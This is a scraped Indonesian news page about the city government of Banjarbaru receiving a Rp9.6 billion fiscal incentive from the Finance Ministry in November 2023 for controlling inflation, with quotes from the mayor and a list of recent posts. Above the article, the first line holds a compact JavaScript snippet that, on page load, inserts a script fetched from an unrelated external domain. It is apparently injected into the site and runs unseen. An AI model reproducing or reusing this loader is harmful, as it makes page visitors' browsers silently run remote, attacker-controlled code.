(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Berhasil Kendalikan Inflasi, Pemko Banjarbaru Terima Dana Instentif Fiskal dari Kemenkeu


KANALKALIMANTAN.COM, BANJARBARU – Kementerian Keuangan Republik Indonesia (Kemenkeu RI) menyalurkan dana isentif fiskal kepada Pemerintah Kota (Pemko) Banjarbaru atas keberhasilan menekan inflasi dan mampu mendongkrak kesejahteraan masyarakatnya.

Hal itu tertuang dalam Keputusan Menteri Keuangan (KMK) Republik Indonesia Nomor 400 Tahun 2023 tentang rincian alokasi insentif fiskal kinerja tahun berjalan untuk kelompok kategori kinerja dalam rangka pengendalian inflasi daerah pada tahun anggaran 2023 periode ketiga menurut provinsi kabupaten kota.

Dalam keputusan Menkeu Sri Mulyani tersebut, Pemko Banjarbaru dinyatakan berhasil masuk dalam daftar 34 pemerintah daerah penerima alokasi dana insentif fiskal periode ketiga sebesar Rp9,6 miliar.

Bukan kali pertama, dalam satu tahun ini Pemko Banjarbaru juga telah menerima dana instentif yang sama pada periode kedua dengan total nominal sebesar Rp9,3 miliar.

Baca juga: Warga Kembali Terhirup Asap Karhutla di Gambut dan Sungai Tabuk

“Ini kedua kalinya kita menerima dana insentif fiskal dari Kementerian Keuangan. Dan pada periode ketiga ini, jumlahnya lebih besar dari periode sebelumnya, naik sekitar 300 juta,” ucap Wali Kota Banjarbaru, HM Aditya Mufti Ariffin, Rabu (1/11/2023).

Dana isentif fiskal sendiri merupakan bentuk penghargaan dari Kemenkeu RI kepada pemerintah daerah yang sukses menjalankan program strategis dalam mengendalikan inflasi di masing-masing daerahnya.

Suntikan dana insentif yang bersumber dari APBN itu disalurkan Kemenkeu berdasarkan kriteria penilaian tentang kinerja setiap pemerintah daerah.

Adapun pengalokasian insentif untuk pengendalian inflasi dilakukan beberapa kali ditujukan supaya peningkatan kinerja dapat terus dimonitor dan kinerjanya dapat langsung diapresiasi. Selain itu, penggunaannya bisa digunakan untuk pengendalian inflasi periode.

Baca juga: Pemkab Banjar Menggelar Forum Konsultasi Publik Pelayanan Publik

Terkait penggunaan dana insentif fiskal hadiah dari Kemenkeu ini, tentunya dipastikan Wali Kota Banjarbaru ialah untuk hal yang bermanfaat bagi masyarakat. Wali Kota menegaskan penggunaan dana ini tidak dihambur-hamburkan seenaknya saja, melainkan difokuskan untuk mengatasi inflasi di Ibu Kota Kalimantan Selatan.

“Kita ingin dana insentif fiskal bisa dirasakan masyarakat Kota Banjarbaru. Intinya digunakan dalam rangka untuk mengatasi inflasi yang ada. Semoga suntikan dana ini menjadi penyemangat untuk terus meningkatkan kinerja,” ucap Aditya.

Selain itu, Aditya juga berpesan kepada seluruh SKPD di lingkungan Pemko Banjarbaru untuk bersama-sama terus menjaga inflasi. Sebab menurutnya upaya menstabilkan harga dan menjaga inflasi tetap rendah sangat berharga bagi masyarakat Kota Banjarbaru.

“Karena ini sangat berpengaruh terhadap kesejahteraan masyarakat. Ini yang harus kita tanamkan dalam pekerjaan kita sehari-hari,” tuntas Wali Kota Banjarbaru. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk


Risa

Recent Posts

DPRD Banjarbaru Berikan 11 Evaluasi LKPj Wali Kota Tahun Anggaran 2024

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memberikan evaluasi terkait rekomendasi laporan… Read More

2 jam ago

Bupati Banjar Lantik 657 ASN dan PPPK 2024

KANALKALIMANTAN.COM, MARTAPURA - Kegembiraan terpancar dari raut wajah 27 CPNS dan 630 PPPK Tahun Anggaran… Read More

2 jam ago

Petugas Mulai Sortir Lipat Surat Suara Coblosan Ulang Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Surat suara untuk Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru… Read More

5 jam ago

Pemkab Gelar Pisah Sambut Kapolres Banjar, AKBP Dr Fadli Gantikan AKBP Ifan Hariyat

KANALKALIMANTAN.COM, MARTAPURA - Pisah sambut Kapolres Banjar dari AKBP M Ifan Hariyat kepada AKBP Dr… Read More

8 jam ago

Pemerintah Berikan Pemutihan Denda Pajak pada 2025, Ini Ketentuannya!

KANALKALIMANTAN.COM - Pemerintah kembali menghadirkan kebijakan pemutihan denda pajak sebagai langkah strategis untuk meningkatkan kepatuhan… Read More

10 jam ago

Warga Tak Tahu Ada PSU, ‘PR’ KPU Kalsel Ajak Pemilih Datangi TPS

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) punya 'pekerjaan rumah' berat… Read More

22 jam ago

This website uses cookies.